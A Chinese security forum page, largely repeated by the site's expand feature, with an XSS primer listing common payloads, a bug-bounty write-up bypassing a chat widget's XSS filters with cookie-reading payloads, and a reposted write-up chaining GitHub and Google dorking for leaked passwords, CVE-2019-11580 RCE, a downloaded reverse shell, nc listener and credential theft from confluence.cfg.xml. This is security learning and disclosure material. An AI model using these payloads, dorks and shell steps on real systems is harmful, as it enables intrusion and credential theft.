通知设置 新通知
小白对XSS的初步了解
SaiRson 发表了文章 • 1 个评论 • 418 次浏览 • 2020-06-02 16:35
利用我们所知道的各种方法,向Web页面插入JS代码,让JS代码可以被浏览器执行,访问该页面的用户就会被攻击
XSS漏洞的分类
1.反射型XSS,就是通过GET或POST请求时,被后端处理过数据,并且相应到前端页面上。
2.存储型XSS,所传的信息通过数据库并保存(XSS代码被存储到服务器上的数据库里面的某张表的字段里,或者页面,或者某个上传文件里)
3.DOM型XSS,仅仅在前端页面进行操作的
XSS漏洞的危害
1.窃取用户Cookie,如果用户Cookie被盗窃,攻击者可以不通过密码,而直接登录用户账户
2.使用XMLHttpRequest构造模拟用户请求操作
3.XSS钓鱼攻击(钓鱼网站)
4.用户PC信息探测收集器
5.XSS蠕虫攻击
等等
防御手段:
XSS攻击有两大因素:
1.攻击者恶意提交代码
2.浏览器执行恶意代码
根本解决方法:对输入,输出都对输入的字符,数字进行严格的过滤,转义
从输入方面:
对用户输入的点做限制:
URL参数
2.POST,GET等参数
将一些特殊符号转化为实体编码
其次对富文本的输入血药额外注意:
1.首先例行进行输入检测,保证用户输入的是完整的HTML代码,而不是有拼接的代码
2.通过htmlParser解析出HTML代码的标签,属性,事件
3富文本的事件要被禁止,因为富文本并不需要事件这种东西,另外一些危险的标签也要被禁止
如:<iframe>,<script>,<base>,<form>等
利用白名单机制,只允许安全的标签嵌入,列如:<a>,<img>,<div>等,白名单不仅仅适用于标签,属性也实用
5.过滤用户CSS,检测是否有危险代码
输出:
在输出时,所有需要输出到HTML页面的变量,全部需要使用编码或者转义来进行防御
在以下内容输出时也需要注意:
1.在HTML中输出
2.在JavaScript中输出
3.在CSS中输入
4.在URL中输出
常用的攻击代码:
<!--直接插入标签类-->
<script>alert('XSS');</script>
'"><script>alert('XSS')</script>
<img/src=1 onerror=alert(1)/>
'"><img/src=1 onerror=alert(1)/>
<!--插入属性类-->
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
` onmouseover=alert(1) x=`
<!--利用JavaScript等伪协议-->
javascript:alert(1)
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<!--data:资源类型;编码,内容-->
<!--先闭合前面标签,在构造新的标签-->
</script><script>alert(1)
作用与css里面
}x:experession(alert(1))
alert(1)//
<!--palyload分析-->
<!--1.如输出点在标签之间-->
<h1>输出点</h1>
<!--利用以上playload可构造成-->
<h1><script>alert("XSS");</script>
<h1><img/scr=1 onerror=alert(1)/></h1>
<!--输出点在元素标签中的属性值之间-->
<input type="text" value="'输入点'">
<input type="text" value="'aaa'"><script>alert('XSS');</script>'">
<input type="text" value="'aaa'"><img/src=1 onerror=alert(1)/>'">
<input type="text" value="(输出点)" >
<input type="text" value="(aaa)"><script>alert('XSS');</script>)">
<input type="text" value="输出点">
<input type="text" value="aaa" onmouseover=alert(1)>">
<input type="text" value="'输出点'">
<input type="text" value="'aaa'" onmouseover=alert(1)>'">
<input type="text" value="`输出点`">
<input type="text" value="`aaa`" onmouseover=alert(1)>`">
<input type="text" value="`aaa`"><script>alert(1);</script>
<!--输出在src/href/action等属性内,比如<a// href="输出点">click me</a>我们可以构造如下playload-->
<a href="输出点">click me<a>
<a href="javascript:alert(1)">click me</a>
<!--如果想使用data协议时,需要协议完整的出现>
<!--如果输出到on事件中。要根据不同的场景,要弄明白我们的输出是整个on事件的值还是以某个函数的参数出现-->
<a herf="#" onclick="eval('[输出]')">click me</a>
<!--直接提交alert(1)即可-->
<a herf="#" onlick="eval('alert(1)')">click me</a>
成为JavaScript代码出现:
<script> a="输出位";</script>
我们可以直接将其<script>标签闭合在重新构造标签
<script> a="输出位" </script><script>alert(1);"";</scropt>
或者直接在其中构造输出的代码
如alert(1);
成为CSS代码出现
输出如果出现在style属性内,对IE来说,style属性值只要能注入expression关键词即可,并进行适当的闭合
如:<a href="#" style="width:1px;"></a>
<a href="#" style=width:1px;x:expression(alert(1));">/></a>
以上是我对XSS的初步简介和总结的绕过姿势,希望各大老板帮我改错和补充 查看全部
利用我们所知道的各种方法,向Web页面插入JS代码,让JS代码可以被浏览器执行,访问该页面的用户就会被攻击
XSS漏洞的分类
1.反射型XSS,就是通过GET或POST请求时,被后端处理过数据,并且相应到前端页面上。
2.存储型XSS,所传的信息通过数据库并保存(XSS代码被存储到服务器上的数据库里面的某张表的字段里,或者页面,或者某个上传文件里)
3.DOM型XSS,仅仅在前端页面进行操作的
XSS漏洞的危害
1.窃取用户Cookie,如果用户Cookie被盗窃,攻击者可以不通过密码,而直接登录用户账户
2.使用XMLHttpRequest构造模拟用户请求操作
3.XSS钓鱼攻击(钓鱼网站)
4.用户PC信息探测收集器
5.XSS蠕虫攻击
等等
防御手段:
XSS攻击有两大因素:
1.攻击者恶意提交代码
2.浏览器执行恶意代码
根本解决方法:对输入,输出都对输入的字符,数字进行严格的过滤,转义
从输入方面:
对用户输入的点做限制:
URL参数
2.POST,GET等参数
将一些特殊符号转化为实体编码
其次对富文本的输入血药额外注意:
1.首先例行进行输入检测,保证用户输入的是完整的HTML代码,而不是有拼接的代码
2.通过htmlParser解析出HTML代码的标签,属性,事件
3富文本的事件要被禁止,因为富文本并不需要事件这种东西,另外一些危险的标签也要被禁止
如:<iframe>,<script>,<base>,<form>等
利用白名单机制,只允许安全的标签嵌入,列如:<a>,<img>,<div>等,白名单不仅仅适用于标签,属性也实用
5.过滤用户CSS,检测是否有危险代码
输出:
在输出时,所有需要输出到HTML页面的变量,全部需要使用编码或者转义来进行防御
在以下内容输出时也需要注意:
1.在HTML中输出
2.在JavaScript中输出
3.在CSS中输入
4.在URL中输出
常用的攻击代码:
<!--直接插入标签类-->
<script>alert('XSS');</script>
'"><script>alert('XSS')</script>
<img/src=1 onerror=alert(1)/>
'"><img/src=1 onerror=alert(1)/>
<!--插入属性类-->
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
` onmouseover=alert(1) x=`
<!--利用JavaScript等伪协议-->
javascript:alert(1)
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<!--data:资源类型;编码,内容-->
<!--先闭合前面标签,在构造新的标签-->
</script><script>alert(1)
作用与css里面
}x:experession(alert(1))
alert(1)//
<!--palyload分析-->
<!--1.如输出点在标签之间-->
<h1>输出点</h1>
<!--利用以上playload可构造成-->
<h1><script>alert("XSS");</script>
<h1><img/scr=1 onerror=alert(1)/></h1>
<!--输出点在元素标签中的属性值之间-->
<input type="text" value="'输入点'">
<input type="text" value="'aaa'"><script>alert('XSS');</script>'">
<input type="text" value="'aaa'"><img/src=1 onerror=alert(1)/>'">
<input type="text" value="(输出点)" >
<input type="text" value="(aaa)"><script>alert('XSS');</script>)">
<input type="text" value="输出点">
<input type="text" value="aaa" onmouseover=alert(1)>">
<input type="text" value="'输出点'">
<input type="text" value="'aaa'" onmouseover=alert(1)>'">
<input type="text" value="`输出点`">
<input type="text" value="`aaa`" onmouseover=alert(1)>`">
<input type="text" value="`aaa`"><script>alert(1);</script>
<!--输出在src/href/action等属性内,比如<a// href="输出点">click me</a>我们可以构造如下playload-->
<a href="输出点">click me<a>
<a href="javascript:alert(1)">click me</a>
<!--如果想使用data协议时,需要协议完整的出现>
<!--如果输出到on事件中。要根据不同的场景,要弄明白我们的输出是整个on事件的值还是以某个函数的参数出现-->
<a herf="#" onclick="eval('[输出]')">click me</a>
<!--直接提交alert(1)即可-->
<a herf="#" onlick="eval('alert(1)')">click me</a>
成为JavaScript代码出现:
<script> a="输出位";</script>
我们可以直接将其<script>标签闭合在重新构造标签
<script> a="输出位" </script><script>alert(1);"";</scropt>
或者直接在其中构造输出的代码
如alert(1);
成为CSS代码出现
输出如果出现在style属性内,对IE来说,style属性值只要能注入expression关键词即可,并进行适当的闭合
如:<a href="#" style="width:1px;"></a>
<a href="#" style=width:1px;x:expression(alert(1));">/></a>
以上是我对XSS的初步简介和总结的绕过姿势,希望各大老板帮我改错和补充
棒打某客服系统的反射xss,去获取客服账号权限
lzy_smile 发表了文章 • 0 个评论 • 729 次浏览 • 2020-05-05 22:13
我当时凌乱了,这那来的站,没测啊,这个域名,我访问了返回的location字段打过来的域名,很棒的原谅绿.这个颜色我测过.
扒拉了许久,找到了这个页面(这个是我测试注册的号.不是百度,大佬轻喷)
众所周知,我们遇见了某个网站的客服系统时,势必要去x它,正常输入一个<img/src=1>,哇,裂图了,恭喜,喜提一枚xss漏洞,
标签没有正常解析,像这样.
唉,关机,不测了,又是零漏洞的一天.
我当时捋了捋思路,既然打过来了cookie,肯定哪里出了问题.
1.留言的时候有xss
2.聊天时有xss漏洞
我只是在这两点插入了js代码.难道是?留言处,
这个第三方组件很有趣,我直接找到了官网,可以注册使用,当即注册了一个账号测试.深入测试一下到底哪里出了问题.
我看到后台的xss代码在留言处并没有解析,那么试试聊天处.
我就这样打开了页面.(左边管理员,右边测试窗口.)
然后我就发现了猫腻,客户输入的时候, 他会解析输入的标签内容
既然以及解析了标签,那么离xss漏洞就剩一步了,先弹个窗试试.
第一次测的时候,竟然直接在这解析了<script>标签.这没什么好说的,收集一波案例先交上去,审核通过,
-----------------------------------------手动分割线-------------------------------
时隔一月,某平台又上新一任务,我发现又有这个系统,但此时不能直接解析<script>标签.onerror,onmouseover,onload,onmouserout等等自动触发xss代码的语句都被拦截了.
4-14号绕过,未对onclick这样的点击触发的事件进行拦截.
<img/src=1 onclik=alert(1)>测试成功,然后这个组件,第一次测得时候,没有深入去找給其它厂商的服务.某滴,某丰,某B.
除了某B的直接找到了,其它的后来和这个产品的客户经理在聊的时候,原来用的是用这个公司其它的产品.
空欢喜,
再接着去看客户案例时,我震惊了.用的厂商有点多.但是现在已经不能自动触发了,想着去让客服点击的时候,我想了几个方案,
1.<voide>标签可以解析,能够加载个视频.(加载个小视频,诱导客服点击很好用,)
2.<input>标签里面的onfocus事件可以加载js,
3.<marquee>标签走马灯标签可以在火狐浏览器加载onstart事件.
这三个事件基本够用了,
但是你直接输入这些标签,效果是这样的,并没有解析
但是我加了个img/src=1(有点东西,这神马玩意,这就解析了)
4-14号绕过payload:
12113imG/srC=1<Marquee style="background-color:red" onsTart=prompt(1)>asdf</marquee>
121111211121img/src=1<video id="video1" controls="controls" onclick=prompt(1))> <source src="https://www.w3school.com.cn/example/html5/mov_bbb.mp4" type="video/mp4"> </video>
你好1imG/SRc=1<inpuT autofocus onfocus=prompt(document.cookie)//
然后又等了几天,发现平台发布的某个任务系统也用了它的系统但是开发又修了,4-14号的paylaod已经不足以构成xss漏洞了.
所以4-18号绕过.
这次是对img src onclik onstart onfocus 等的小写事件进行拦截,无法加载.
很常规的进行大小写绕过,(对不起开发)
绕过paylaod
你好1imG/SRc=1<inpuT autofocus onfocuS=prompt(document.cookie)//
这次某平台的业务需要证明能够获取到页面数据,或者进行后台登陆,证明这个对他们有危害才算可以,那我这么菜.......
凌晨两点的我很惆怅,到嘴的鸭子就要飞了.然后求助,在神秘的A师傅的帮助下,第二天如愿以偿的获取到了页面数据,此时,它的密码是存储到了页面上,明文传输,客服系统就这样沦陷了,沦陷了.....
高危一枚!
思考:
1.测试的时候,遇见第三方组件,如果主站没有搞头,就去试试第三方组件,会有不少的收获
2.对于xss漏洞,不能仅限于设置httponly这些,像这个系统的明文传输密码,就是一个利用方法
3.对于测试过的漏洞,最好隔段时间去复测一下 查看全部
我当时凌乱了,这那来的站,没测啊,这个域名,我访问了返回的location字段打过来的域名,很棒的原谅绿.这个颜色我测过.
扒拉了许久,找到了这个页面(这个是我测试注册的号.不是百度,大佬轻喷)
众所周知,我们遇见了某个网站的客服系统时,势必要去x它,正常输入一个<img/src=1>,哇,裂图了,恭喜,喜提一枚xss漏洞,
标签没有正常解析,像这样.
唉,关机,不测了,又是零漏洞的一天.
我当时捋了捋思路,既然打过来了cookie,肯定哪里出了问题.
1.留言的时候有xss
2.聊天时有xss漏洞
我只是在这两点插入了js代码.难道是?留言处,
这个第三方组件很有趣,我直接找到了官网,可以注册使用,当即注册了一个账号测试.深入测试一下到底哪里出了问题.
我看到后台的xss代码在留言处并没有解析,那么试试聊天处.
我就这样打开了页面.(左边管理员,右边测试窗口.)
然后我就发现了猫腻,客户输入的时候, 他会解析输入的标签内容
既然以及解析了标签,那么离xss漏洞就剩一步了,先弹个窗试试.
第一次测的时候,竟然直接在这解析了<script>标签.这没什么好说的,收集一波案例先交上去,审核通过,
-----------------------------------------手动分割线-------------------------------
时隔一月,某平台又上新一任务,我发现又有这个系统,但此时不能直接解析<script>标签.onerror,onmouseover,onload,onmouserout等等自动触发xss代码的语句都被拦截了.
4-14号绕过,未对onclick这样的点击触发的事件进行拦截.
<img/src=1 onclik=alert(1)>测试成功,然后这个组件,第一次测得时候,没有深入去找給其它厂商的服务.某滴,某丰,某B.
除了某B的直接找到了,其它的后来和这个产品的客户经理在聊的时候,原来用的是用这个公司其它的产品.
空欢喜,
再接着去看客户案例时,我震惊了.用的厂商有点多.但是现在已经不能自动触发了,想着去让客服点击的时候,我想了几个方案,
1.<voide>标签可以解析,能够加载个视频.(加载个小视频,诱导客服点击很好用,)
2.<input>标签里面的onfocus事件可以加载js,
3.<marquee>标签走马灯标签可以在火狐浏览器加载onstart事件.
这三个事件基本够用了,
但是你直接输入这些标签,效果是这样的,并没有解析
但是我加了个img/src=1(有点东西,这神马玩意,这就解析了)
4-14号绕过payload:
12113imG/srC=1<Marquee style="background-color:red" onsTart=prompt(1)>asdf</marquee>
121111211121img/src=1<video id="video1" controls="controls" onclick=prompt(1))> <source src="https://www.w3school.com.cn/example/html5/mov_bbb.mp4" type="video/mp4"> </video>
你好1imG/SRc=1<inpuT autofocus onfocus=prompt(document.cookie)//
然后又等了几天,发现平台发布的某个任务系统也用了它的系统但是开发又修了,4-14号的paylaod已经不足以构成xss漏洞了.
所以4-18号绕过.
这次是对img src onclik onstart onfocus 等的小写事件进行拦截,无法加载.
很常规的进行大小写绕过,(对不起开发)
绕过paylaod
你好1imG/SRc=1<inpuT autofocus onfocuS=prompt(document.cookie)//
这次某平台的业务需要证明能够获取到页面数据,或者进行后台登陆,证明这个对他们有危害才算可以,那我这么菜.......
凌晨两点的我很惆怅,到嘴的鸭子就要飞了.然后求助,在神秘的A师傅的帮助下,第二天如愿以偿的获取到了页面数据,此时,它的密码是存储到了页面上,明文传输,客服系统就这样沦陷了,沦陷了.....
高危一枚!
思考:
1.测试的时候,遇见第三方组件,如果主站没有搞头,就去试试第三方组件,会有不少的收获
2.对于xss漏洞,不能仅限于设置httponly这些,像这个系统的明文传输密码,就是一个利用方法
3.对于测试过的漏洞,最好隔段时间去复测一下
针对某国际信息通信公司从前期探测到内网提权的一次成功漏洞测试(转)
fireant 发表了文章 • 0 个评论 • 437 次浏览 • 2020-04-25 14:42
本文作者为印度尼西亚安全专家YoKo Kho,漏洞众测平台Bugcrowd MVP,具备12多年行业的资深信息安全Web漏洞挖掘和渗透测试经验, 拥有OSCP、SISE(iOS Application Security Expert)、道德黑客CEH等多项技能认证。《Bug Hunting 101》作者。
从Github发起探测侦察
前期,我已经收集了目标公司将近数千的子域名,但有了这些东西,我却有点无从下手,于是乎我只有从原始的目标公司个人信息收集入手。我尝试从Github上去发现一些目标公司开发人员留下的蛛丝马迹,这不这个视频-Github Recon and Sensitive Data Exposure(从Github平台探测发现敏感数据)给了我一些启发。
其中主要讲述的是如何从Github被上传代码库中发现凭据类敏感信息,然后去验证受影响公司的相关服务,测试是否有效,但是,从中我也得到另外的信息收集思路。我接下来做的是:
1、收集目标公司泄露在Github上的密码凭据(不管是否有效),然后尝试去发现密码规律,这样做的原因是从中或许能发现管理员在用户注册分配密码时预先会给定的一些默认密码,这种思路在后续我们会用到。非常不错,我幸运地在Github平台收集到了与目标公司相关的近50个密码凭据信息:
2、收集目标公司相关的IP地址。这样做主要有几种考虑:一是我们可以从一些公开的Github漏洞报告中去发现目标公司相关的IP地址,因为白帽们提交的漏洞报告多少总会包括一些细节分析,才会被众测平台接收,虽然有些包含目标系统内部资产信息的漏洞有时候也会存在误报可能,但是我们可以从这些公开披露的漏洞中去寻找一些IP线索,总结规律,尝试从中发现一些开发代码库或系统信息。这不,我从bugcrowd平台就发现了自己提交的与目标公司Github相关的5个P1严重级漏洞:
二是这样方便后续我们做内网探测时,可以更快地连接到内部网络相关的系统资产;三是通过目标公司泄露在Github上的信息,可以间接判断出目标公司的开发习惯和开发文化,比如我可以通过上述信息在两三个小时就能弄清其大概的开发框架和内网应用。最后,这样做也能从代码审计层面去发现目标公司在用服务的潜在问题。执行了以上几个前期步骤后,就可以针对目标公司收集到很多的线索信息。
利用Github进行密码探测
之前那个视频Github Recon and Sensitive Data Exposure中,涉及到了密码安全问题,主要是:一些公司内部开发人员在使用类似Github的协同代码平台时犯下的错误,比如,会把包括相关密码信息的代码直接上传到Github上,这要么是太大意,要么是完全不知道Github有“隐私”功能,那么这种错误就有可能被恶意攻击者发现并利用。对于想要进行内网测试的攻击者来说,这种开发错误还是非常有用的。
接下来,我们需要做的就是登录我们自己的Github账号,用以下搜索请求进行搜索:password “.target.com”
target.com “password_value_here”
target.com是目标公司的网站域名,当然“password”字段也可替换成telnet、ftp、ssh、mysql、jdbc、oracle等特定关键字。虽然我不太了解Github的查询机制,但利用这两个搜索语法我发现了很多有用的东西。
如果你通过上述语法发现某些项目代码存在密码泄露,那么,可以继续深挖,比如可以针对特定代码库和特定开发者用户进行搜索查询:
或者再找找该开发者的其它代码库。如果这些搜索方式都没啥发现,那么我们可以去找找哪些与当前项目开发者或拥有者存在开发协作关系或互动,然后再针对这个用户再继续用上述语法搜索一遍。以下为我总结的Github信息收集(Recon)流程图:
活用Google Dork搜索语法收集信息
接下来,我尝试用Google Dork搜索,这里我用到的语法关键字是目标公司的一个内部非公开子域名和相关密码模式,该内部子域名是我在第一阶段Github平台中发现的,当时通过它我又关联到了好几个子域名。由于这些子域名无法通过外网访问到,我猜想这些子域名是目标公司用于开发之用的。
虽然这些子域名是内部域名,但我还是想尝试看看Google大法的神奇,于是就用以下Google Dork语法进行了搜索:site:*.subx.target.tld AND intext:'one_of_password_pattern_value_here'
竟然真的有所发现!从中我发现了目标公司内部域名和服务端相关的大量密码凭据(如FTP/SSH)和内部IP地址等信息,尽管它们需要从内网才能访问或利用,但也算有所发现。
通过调整搜索关键字,如已知的IP地址、产品应用(如Oracle、MySQL、MSSQL等) 、服务名称 (FTP, SSH, DB等)和其它登录键值字段(如password、pwd、pass、username、userid等),或与登录相关的dashboard、cms等内容。
另外,通过Google大法,我还在某些众测平台披露的漏洞报告中发现了目标公司相关的4个账号,在披露漏洞中这4个账号都可以访问到顾客数据,而且这些账号都使用了我在Github中发现的密码模式。
另外,我还发现了不在测试范围内的另一超级管理员账号(super admin),该账号信息涉及目标公司客户的多项交易数据,可惜它所属于的系统并不在于我渗透测试范围内,为了保密只放出具体漏洞报告示例,账号信息就不截图了。
通过旧版本Atlassian Crowd应用发现未授权RCE漏洞
手上有了一堆内网信息和其密码配置模式,但还缺少一个有效的内网访问渠道。为此,我又想从其子域名中发现更多线索,这次我用到了域名和主机可视化发现工具aquatone。之后我发现了目标公司在用的一个老版本服务端,从其显示线索中来看,只有一些带有类似 1st words、2nd words、3rd words和crowd关键字的可点击链接,其中的“crowd”引起了我的注意,于是我点击了“crowd”的关键字链接,然后它跳转到了一个Atlassian Crowd应用的子域名网站,从中注意到是2017年的版本。
面对该Atlassian Crowd应用,我想有三种可利用方式:可测试一些用过的账户密码;
可测试发现未修复的补丁;
可测试发现配置型漏洞。
当然,首先可用Google来搜索其漏洞利用方式:
经过一番查找,我发现了该版本的Atlassian Crowd存在CVE-2019-11580漏洞,之后就是看看该漏洞是否存在公开的利用代码(exploit),然后我在Github中发现了这个远程代码执行(RCE)的exploit:
接下来的就是调试当前Atlassian Crowd应用是否存在该漏洞了。可以在其/admin/路径下的上传操作端uploadplugin.action点击查看,如果当前Atlassian Crowd应用回显了一个错误消息“HTTP Status 400 – Requires POST” ,那么这种情况说明它是存在该RCE漏洞的,也就是说其uploadplugin插件可以被未授权利用。
RCE代码执行
现在,我们从https://github.com/jas502n/CVE-2019-11580下载漏洞利用代码CVE-2019-11580.py,以当前Atlassian Crowd应用为目标,它确实存在CVE-2019-11580漏洞,并反弹回了一个webshell,如下:
接着,就可以通过浏览器浏览http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here,访问到这个webshell了,当然其中的command_here可以替换成其它系统命令。如下:
所以,总结来看,该漏洞利用有三个好处:1、无需任何用户账户密码;
2、RCE是以root身份执行的;
3、该Atlassian Crowd应用无任何安全防护。
但这还不够,我们需要一个能与目标系统执行交互的Webshell!
这里,我的想法是通过我的Attacker主机,实现对目标应用系统的操控交互。通常我用的是PentestMonkey上提供的反弹Shell,但可惜的是,其中的交互命令在与我的Attacker主机连接执行时没有任何回连显示,很可能是目标Web应用过滤了如> & 以及‘ “这些特殊字符。
为此,我只有在我的Attacker主机放置了一个回连python脚本reverse.py,然后通过之前的RCE命令迫使目标Web应用来对它执行下载,然后再通过我的Attacker主机连接它,实现控制。具体的python回连脚本reverse.py如下:
目标Web应用从我的Attacker主机中下载python回连脚本reverse.py:
就这样,我们就向目标Web应用系统中植入了一个反弹脚本,之后,需要对该脚本文件进行chmod权限修改以便我们能访问执行,如可以把它修改为700:
目标Web应用下载了reverse.py后,我们这边的Attacker主机需要设置一个监听端口:
$ nc -lvp <our_port>
然后,用之前的RCE shell使目标Web应用执行脚本reverse.py。但是,这还不算真正意义上的交互shell,如果把它设置为伪终端方式就更好了,所以,可以在终端窗口中执行以下python命令实现脚本的伪终端显示:
python -c 'import pty;pty.spawn("/bin/bash")'
到此,我们就获得了目标Web应用系统的一个控制shell:
通过运行reverse.py,我们就能无障碍地去连接目标Web应用系统中的数据库或其它运行服务了:
内部系统探测
这里我们获得的RCE,一个有利因素就是该服务器位于目标公司的内部网络中,当在上述交互webshell是去ping一些目标公司的公开系统时,返回响应中得到的是一些内部IP地址。也就是说,我们在这个全球知名大型信息通信技术公司的内部网络系统中实现了据点潜伏。之前阶段我们收集获得的大量内部网络信息,在这里就可派上用场了。但是,为了不造成严重影响破坏,不能再深入了,就点到为止吧。声明:以上主要展示前期信息收集对后期渗透测试的重要性,最终说明问题即可收手,另外这些测试都是在允许授权之内开展的。
最终,尽管发现的该漏洞不在众测范围之内(out-scope),但确实是一次奇妙的渗透之旅。能以信息收集、目标分析和线索映证测试的方式,从知名信通公司的外部网络中打到内部系统,并实现RCE,已经非常不简单了。就像我们白帽平时开玩笑说的“要在漏洞测试中发现RCE漏洞,简单就是天方夜谭”。之后我及时上报了该漏洞,并收到目标公司的快速响应。
连接内部Crowd应用数据库
上述因为目标公司部署有Atlassian Crowd应用的系统存在漏洞,导致了最终我的RCE。那或许有人会问,能不能尝试登录其它的Atlassian Crowd应用或相关数据库呢?
我们也来看看。经测试发现,为配合Atlassian Crowd的使用,目标公司在该服务器上也安装了Atlassian协同办公组件Confluence,而我对Atlassian Crowd和Atlassian Confluence的协同工作机制根本不懂,但我在netstat命令下观察到了数据库连接,所以我想其中肯定涉及到一些密码信息的存储。经过对Atlassian Confluence的研究分析,我发现其密码信息存储在<confluence_home>/confluence.cfg.xml文件中。
使用locate命令,我在目标系统中发现了confluence.cfg.xml文件,更高兴的是,其中的密码信息完全是明文:
就这样,利用其中的密码信息,我成功登录到了其相关数据库:
登录了上述Crowd数据库之后,我就在想能不能把这个登录密码进行修改,换成我们自己的呢?我觉得应该是可行的,因为Atlassian在官方文档里有密码替换更改的说明,在如下介绍中,我们可以用哈希过的字符串去替换管理员原来的密码。
由于这是一个漏洞测试项目,因为没有密码修改授权,所以我们不能擅自进行这种密码替换更改。但如果在真实的攻击场景下,攻击者完全可以实现这种操作,对系统造成影响。那如果不能修改替换密码,我们可以选择创建一个新账户的方法来测试。经过查找发现,只要知道管理员账号密码,就可以通过REST请求方式来创建Atlassian Crowd的新账户:
上述操作的请求格式如下:curl -i -X POSThttp://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_here-H 'Content-type: application/json' -H 'Accept: application/json' -u crowd_administrator_username_here:crowd_administrator_password_here -d'
> {
> "email": "your@email_here.tld",
> "name": "your_new_user_here",
> "password": {
> "value": "your_new_user_password_here"
> }
> }
> 'your_new_user_here = 将要创建的账户名
crowd_administrator_username_here = Crowd的管理员名称
crowd_administrator_password_here = Crowd的管理员密码
your@email_here.tld = 将要创建账户的绑定邮箱
your_new_user_password_here =将要创建账户的密码
之后,进行账户激活,我们就可成功创建一个新的Crowd账户:
然后进行登录:
经验总结
1、前期的信息收集(Recon)至关重要,通过其我们可以了解目标应用的API工作机制和开发环境等因素。在此借用大牛@Mongobug和@NahamSec对Recon的原话:
“前期信息收集(Recon)不仅可以发现目标系统的资产环境和过期版本信息,还可以掌握相关的应用架构,并获取到一些很难探测到的功能特性。因此,成功的测试需要在前期信息收集和实际渗透过程中保持一种平衡。”
2、不要丢掉任何你搜集到的数据和信息,说不定在之后的测试中可以发挥作用。该次测试中,我就是综合利用了前期收集的有用线索,最终成功在后续阶段实现了突破验证了RCE漏洞,收获了$9,000的奖励;
3、享受你的每次漏洞测试或渗透测试活动,不要太过于看重赏金(Bounty)。尽量去测试那些合法或官方的项目,多动手多思考多学习,这样才能快速地提高你的测试技能,扩展你的知识面;
4、可以多参与一些官方的漏洞责任披露项目,从中好好练手,储备经验;
5、高手和大牛都不是天生的,他们曾经也是菜鸟。
转载自FreeBuf.com 查看全部
本文作者为印度尼西亚安全专家YoKo Kho,漏洞众测平台Bugcrowd MVP,具备12多年行业的资深信息安全Web漏洞挖掘和渗透测试经验, 拥有OSCP、SISE(iOS Application Security Expert)、道德黑客CEH等多项技能认证。《Bug Hunting 101》作者。
从Github发起探测侦察
前期,我已经收集了目标公司将近数千的子域名,但有了这些东西,我却有点无从下手,于是乎我只有从原始的目标公司个人信息收集入手。我尝试从Github上去发现一些目标公司开发人员留下的蛛丝马迹,这不这个视频-Github Recon and Sensitive Data Exposure(从Github平台探测发现敏感数据)给了我一些启发。
其中主要讲述的是如何从Github被上传代码库中发现凭据类敏感信息,然后去验证受影响公司的相关服务,测试是否有效,但是,从中我也得到另外的信息收集思路。我接下来做的是:
1、收集目标公司泄露在Github上的密码凭据(不管是否有效),然后尝试去发现密码规律,这样做的原因是从中或许能发现管理员在用户注册分配密码时预先会给定的一些默认密码,这种思路在后续我们会用到。非常不错,我幸运地在Github平台收集到了与目标公司相关的近50个密码凭据信息:
2、收集目标公司相关的IP地址。这样做主要有几种考虑:一是我们可以从一些公开的Github漏洞报告中去发现目标公司相关的IP地址,因为白帽们提交的漏洞报告多少总会包括一些细节分析,才会被众测平台接收,虽然有些包含目标系统内部资产信息的漏洞有时候也会存在误报可能,但是我们可以从这些公开披露的漏洞中去寻找一些IP线索,总结规律,尝试从中发现一些开发代码库或系统信息。这不,我从bugcrowd平台就发现了自己提交的与目标公司Github相关的5个P1严重级漏洞:
二是这样方便后续我们做内网探测时,可以更快地连接到内部网络相关的系统资产;三是通过目标公司泄露在Github上的信息,可以间接判断出目标公司的开发习惯和开发文化,比如我可以通过上述信息在两三个小时就能弄清其大概的开发框架和内网应用。最后,这样做也能从代码审计层面去发现目标公司在用服务的潜在问题。执行了以上几个前期步骤后,就可以针对目标公司收集到很多的线索信息。
利用Github进行密码探测
之前那个视频Github Recon and Sensitive Data Exposure中,涉及到了密码安全问题,主要是:一些公司内部开发人员在使用类似Github的协同代码平台时犯下的错误,比如,会把包括相关密码信息的代码直接上传到Github上,这要么是太大意,要么是完全不知道Github有“隐私”功能,那么这种错误就有可能被恶意攻击者发现并利用。对于想要进行内网测试的攻击者来说,这种开发错误还是非常有用的。
接下来,我们需要做的就是登录我们自己的Github账号,用以下搜索请求进行搜索:
password “.target.com”
target.com “password_value_here”
target.com是目标公司的网站域名,当然“password”字段也可替换成telnet、ftp、ssh、mysql、jdbc、oracle等特定关键字。虽然我不太了解Github的查询机制,但利用这两个搜索语法我发现了很多有用的东西。
如果你通过上述语法发现某些项目代码存在密码泄露,那么,可以继续深挖,比如可以针对特定代码库和特定开发者用户进行搜索查询:
或者再找找该开发者的其它代码库。如果这些搜索方式都没啥发现,那么我们可以去找找哪些与当前项目开发者或拥有者存在开发协作关系或互动,然后再针对这个用户再继续用上述语法搜索一遍。以下为我总结的Github信息收集(Recon)流程图:
活用Google Dork搜索语法收集信息
接下来,我尝试用Google Dork搜索,这里我用到的语法关键字是目标公司的一个内部非公开子域名和相关密码模式,该内部子域名是我在第一阶段Github平台中发现的,当时通过它我又关联到了好几个子域名。由于这些子域名无法通过外网访问到,我猜想这些子域名是目标公司用于开发之用的。
虽然这些子域名是内部域名,但我还是想尝试看看Google大法的神奇,于是就用以下Google Dork语法进行了搜索:
site:*.subx.target.tld AND intext:'one_of_password_pattern_value_here'
竟然真的有所发现!从中我发现了目标公司内部域名和服务端相关的大量密码凭据(如FTP/SSH)和内部IP地址等信息,尽管它们需要从内网才能访问或利用,但也算有所发现。
通过调整搜索关键字,如已知的IP地址、产品应用(如Oracle、MySQL、MSSQL等) 、服务名称 (FTP, SSH, DB等)和其它登录键值字段(如password、pwd、pass、username、userid等),或与登录相关的dashboard、cms等内容。
另外,通过Google大法,我还在某些众测平台披露的漏洞报告中发现了目标公司相关的4个账号,在披露漏洞中这4个账号都可以访问到顾客数据,而且这些账号都使用了我在Github中发现的密码模式。
另外,我还发现了不在测试范围内的另一超级管理员账号(super admin),该账号信息涉及目标公司客户的多项交易数据,可惜它所属于的系统并不在于我渗透测试范围内,为了保密只放出具体漏洞报告示例,账号信息就不截图了。
通过旧版本Atlassian Crowd应用发现未授权RCE漏洞
